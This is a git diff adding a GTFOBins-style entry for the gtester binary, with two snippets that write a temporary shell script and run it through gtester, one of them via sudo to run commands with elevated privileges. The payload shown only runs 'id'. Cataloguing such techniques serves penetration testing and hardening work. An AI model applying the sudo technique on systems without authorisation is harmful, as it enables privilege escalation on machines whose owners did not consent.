diff --git a/_gtfobins/gtester.md b/_gtfobins/gtester.md
new file mode 100644
index 0000000..d1bfff4
--- /dev/null
+++ b/_gtfobins/gtester.md
@@ -0,0 +1,17 @@
+---
+functions:
+  command:
+    - code: |
+        TF=$(mktemp)
+        echo '#!/bin/sh' > $TF
+        echo '/usr/bin/id' >> $TF
+        chmod +x $TF
+        gtester -q $TF
+  sudo:
+    - code: |
+        TF=$(mktemp)
+        echo '#!/bin/sh' > $TF
+        echo '/usr/bin/id' >> $TF
+        chmod +x $TF
+        sudo gtester -q $TF
+---